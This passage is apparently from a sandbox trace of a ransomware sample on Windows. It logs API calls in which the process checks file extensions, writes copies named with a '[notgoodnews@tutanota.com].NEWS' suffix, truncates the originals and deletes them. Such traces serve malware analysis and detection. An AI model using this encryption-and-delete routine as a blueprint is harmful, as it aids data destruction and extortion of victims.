[0271.010] lstrlenW (lpString=".xls") returned 4 [0271.010] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0271.010] lstrlenW (lpString=".xlsx") returned 5 [0271.011] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0271.011] lstrlenW (lpString=".ppt") returned 4 [0271.011] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0271.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.011] lstrlenW (lpString=".zip") returned 4 [0271.011] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0271.011] lstrlenW (lpString=".rar") returned 4 [0271.012] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0271.012] lstrlenW (lpString=".bz2") returned 4 [0271.012] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0271.012] lstrlenW (lpString=".7z") returned 3 [0271.012] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0271.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.012] lstrlenW (lpString=".dbf") returned 4 [0271.012] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0271.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.012] lstrlenW (lpString=".1cd") returned 4 [0271.012] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0271.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll") returned 69 [0271.013] lstrlenW (lpString=".jpg") returned 4 [0271.013] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0271.013] lstrcmpiW (lpString1=".ICO", lpString2=".NEWS") returned -1 [0271.013] lstrlenW (lpString="FOLDER.ICO") returned 10 [0271.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0271.023] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=4710) returned 1 [0271.023] CloseHandle (hObject=0x3bc) returned 1 [0271.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 0x20 [0271.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0271.024] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.024] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0271.254] GetLastError () returned 0x0 [0271.254] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x1266, lpOverlapped=0x0) returned 1 [0271.473] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0271.986] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.986] WriteFile (in: hFile=0x390, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0271.986] SetEndOfFile (hFile=0x390) returned 1 [0271.987] CloseHandle (hObject=0x390) returned 1 [0271.988] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.988] SetEndOfFile (hFile=0x3bc) returned 1 [0272.251] CloseHandle (hObject=0x3bc) returned 1 [0272.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico")) returned 1 [0272.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.304] lstrlenW (lpString=".doc") returned 4 [0272.304] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0272.304] lstrlenW (lpString=".docx") returned 5 [0272.304] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0272.304] lstrlenW (lpString=".pdf") returned 4 [0272.304] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0272.304] lstrlenW (lpString=".xls") returned 4 [0272.304] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0272.305] lstrlenW (lpString=".xlsx") returned 5 [0272.305] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0272.305] lstrlenW (lpString=".ppt") returned 4 [0272.305] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0272.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.305] lstrlenW (lpString=".zip") returned 4 [0272.305] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0272.305] lstrlenW (lpString=".rar") returned 4 [0272.305] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0272.305] lstrlenW (lpString=".bz2") returned 4 [0272.305] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0272.306] lstrlenW (lpString=".7z") returned 3 [0272.306] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0272.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.306] lstrlenW (lpString=".dbf") returned 4 [0272.306] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0272.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.307] lstrlenW (lpString=".1cd") returned 4 [0272.307] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0272.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.307] lstrlenW (lpString=".jpg") returned 4 [0272.307] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0272.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.307] lstrlenW (lpString=".doc") returned 4 [0272.307] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0272.308] lstrlenW (lpString=".docx") returned 5 [0272.308] lstrcmpiW (lpString1=".docx", lpString2="R.ICO") returned -1 [0272.308] lstrlenW (lpString=".pdf") returned 4 [0272.308] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0272.308] lstrlenW (lpString=".xls") returned 4 [0272.308] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0272.308] lstrlenW (lpString=".xlsx") returned 5 [0272.308] lstrcmpiW (lpString1=".xlsx", lpString2="R.ICO") returned -1 [0272.308] lstrlenW (lpString=".ppt") returned 4 [0272.308] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0272.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.308] lstrlenW (lpString=".zip") returned 4 [0272.309] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0272.309] lstrlenW (lpString=".rar") returned 4 [0272.309] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0272.309] lstrlenW (lpString=".bz2") returned 4 [0272.309] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0272.309] lstrlenW (lpString=".7z") returned 3 [0272.309] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.309] lstrlenW (lpString=".dbf") returned 4 [0272.309] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.309] lstrlenW (lpString=".1cd") returned 4 [0272.309] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0272.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO") returned 71 [0272.310] lstrlenW (lpString=".jpg") returned 4 [0272.310] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0272.310] lstrcmpiW (lpString1=".gta", lpString2=".NEWS") returned -1 [0272.310] lstrlenW (lpString="Discussion.gta") returned 14 [0272.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0272.416] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x306ff1c | out: lpFileSize=0x306ff1c*=104836) returned 1 [0272.416] CloseHandle (hObject=0x3bc) returned 1 [0272.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta")) returned 0x20 [0272.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0272.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0272.418] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.418] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0272.419] GetLastError () returned 0x0 [0272.419] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x19984, lpOverlapped=0x0) returned 1 [0272.436] WriteFile (in: hFile=0x3d4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x19990, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0x19990, lpOverlapped=0x0) returned 1 [0272.446] ReadFile (in: hFile=0x3bc, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x306fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x306fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.446] WriteFile (in: hFile=0x3d4, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x306fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x306fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0272.449] SetEndOfFile (hFile=0x3d4) returned 1 [0272.449] CloseHandle (hObject=0x3d4) returned 1 [0272.450] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x306fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.450] SetEndOfFile (hFile=0x3bc) Thread: id = 69 os_tid = 0x654 [0193.627] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a40480 [0193.628] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a50488 [0193.630] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c10 [0193.630] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930f20 [0193.630] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c28 [0193.630] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3d30020 [0193.631] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c40 [0193.631] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4c40, Size=0x20) returned 0x8d3288 [0193.631] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c40 [0193.631] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4c40, Size=0x20) returned 0x8d32b0 [0193.631] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.631] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.631] Wow64DisableWow64FsRedirection (in: OldValue=0x31aff58 | out: OldValue=0x31aff58*=0x0) returned 1 [0193.631] lstrlenW (lpString="kernel32.dll") returned 12 [0193.631] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.631] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.632] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.632] Sleep (dwMilliseconds=0x64) [0193.838] Sleep (dwMilliseconds=0x64) [0194.895] Sleep (dwMilliseconds=0x64) [0195.378] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0195.378] lstrlenW (lpString="Content.xml") returned 11 [0195.378] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.606] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=27045) returned 1 [0195.606] CloseHandle (hObject=0x208) returned 1 [0195.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0195.607] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.607] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.607] lstrlenW (lpString=".doc") returned 4 [0195.607] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.607] lstrlenW (lpString=".docx") returned 5 [0195.607] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0195.607] lstrlenW (lpString=".pdf") returned 4 [0195.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.608] lstrlenW (lpString=".xls") returned 4 [0195.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.608] lstrlenW (lpString=".xlsx") returned 5 [0195.608] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0195.608] lstrlenW (lpString=".ppt") returned 4 [0195.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.608] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.608] lstrlenW (lpString=".zip") returned 4 [0195.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.608] lstrlenW (lpString=".rar") returned 4 [0195.608] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.608] lstrlenW (lpString=".bz2") returned 4 [0195.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.609] lstrlenW (lpString=".7z") returned 3 [0195.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.609] lstrlenW (lpString=".dbf") returned 4 [0195.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.609] lstrlenW (lpString=".1cd") returned 4 [0195.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.609] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.609] lstrlenW (lpString=".jpg") returned 4 [0195.610] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.610] lstrlenW (lpString=".doc") returned 4 [0195.610] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.610] lstrlenW (lpString=".docx") returned 5 [0195.610] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0195.610] lstrlenW (lpString=".pdf") returned 4 [0195.610] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.611] lstrlenW (lpString=".xls") returned 4 [0195.611] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.611] lstrlenW (lpString=".xlsx") returned 5 [0195.611] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0195.611] lstrlenW (lpString=".ppt") returned 4 [0195.611] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.611] lstrlenW (lpString=".zip") returned 4 [0195.611] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.611] lstrlenW (lpString=".rar") returned 4 [0195.611] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.612] lstrlenW (lpString=".bz2") returned 4 [0195.612] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.612] lstrlenW (lpString=".7z") returned 3 [0195.612] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.612] lstrlenW (lpString=".dbf") returned 4 [0195.612] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.612] lstrlenW (lpString=".1cd") returned 4 [0195.612] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0195.612] lstrlenW (lpString=".jpg") returned 4 [0195.612] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.613] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0195.613] lstrlenW (lpString="boxed-split.avi") returned 15 [0195.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.295] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=62976) returned 1 [0198.295] CloseHandle (hObject=0x220) returned 1 [0198.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0198.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0198.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.296] lstrlenW (lpString=".doc") returned 4 [0198.296] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.296] lstrlenW (lpString=".docx") returned 5 [0198.296] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.296] lstrlenW (lpString=".pdf") returned 4 [0198.297] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.297] lstrlenW (lpString=".xls") returned 4 [0198.297] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.297] lstrlenW (lpString=".xlsx") returned 5 [0198.297] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.297] lstrlenW (lpString=".ppt") returned 4 [0198.297] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.297] lstrlenW (lpString=".zip") returned 4 [0198.297] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.297] lstrlenW (lpString=".rar") returned 4 [0198.297] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.297] lstrlenW (lpString=".bz2") returned 4 [0198.297] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.298] lstrlenW (lpString=".7z") returned 3 [0198.298] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.298] lstrlenW (lpString=".dbf") returned 4 [0198.298] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.298] lstrlenW (lpString=".1cd") returned 4 [0198.298] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.298] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.298] lstrlenW (lpString=".jpg") returned 4 [0198.298] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0198.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.299] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.299] lstrlenW (lpString=".doc") returned 4 [0198.299] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.299] lstrlenW (lpString=".docx") returned 5 [0198.299] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0198.299] lstrlenW (lpString=".pdf") returned 4 [0198.299] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.299] lstrlenW (lpString=".xls") returned 4 [0198.299] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.299] lstrlenW (lpString=".xlsx") returned 5 [0198.300] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0198.300] lstrlenW (lpString=".ppt") returned 4 [0198.300] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.300] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0198.300] lstrlenW (lpString=".zip") returned 4 [0198.300] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.300] lstrlenW (lpString=".rar") returned 4 [0198.300] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.300] lstrlenW (lpString=".bz2") returned 4 [0198.300] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.301] lstrlenW (lpString=".7z") returned 3 [0198.301] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.301] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") 